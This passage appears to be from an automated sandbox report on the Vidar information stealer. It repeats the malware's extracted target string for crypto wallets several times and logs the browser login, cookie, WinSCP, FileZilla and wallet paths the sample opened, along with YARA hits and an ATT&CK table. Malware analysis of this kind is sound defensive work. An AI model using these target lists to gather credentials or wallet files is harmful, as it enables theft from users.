Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002E90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002E90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002E90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002E90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002E90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002E90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002E90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002E90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Source: Yara match	File source: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: aspnet_regiis.exe PID: 5576, type: MEMORYSTR

Remote Access Functionality

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 0.2.file.exe.6e820000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.6e820000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.aspnet_regiis.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.aspnet_regiis.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.6e7f0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2960, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aspnet_regiis.exe PID: 5576, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C980C40 sqlite3_bind_zeroblob,	3_2_6C980C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C980D60 sqlite3_bind_parameter_name,	3_2_6C980D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_6C8A8EA0 sqlite3_clear_bindings,	3_2_6C8A8EA0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
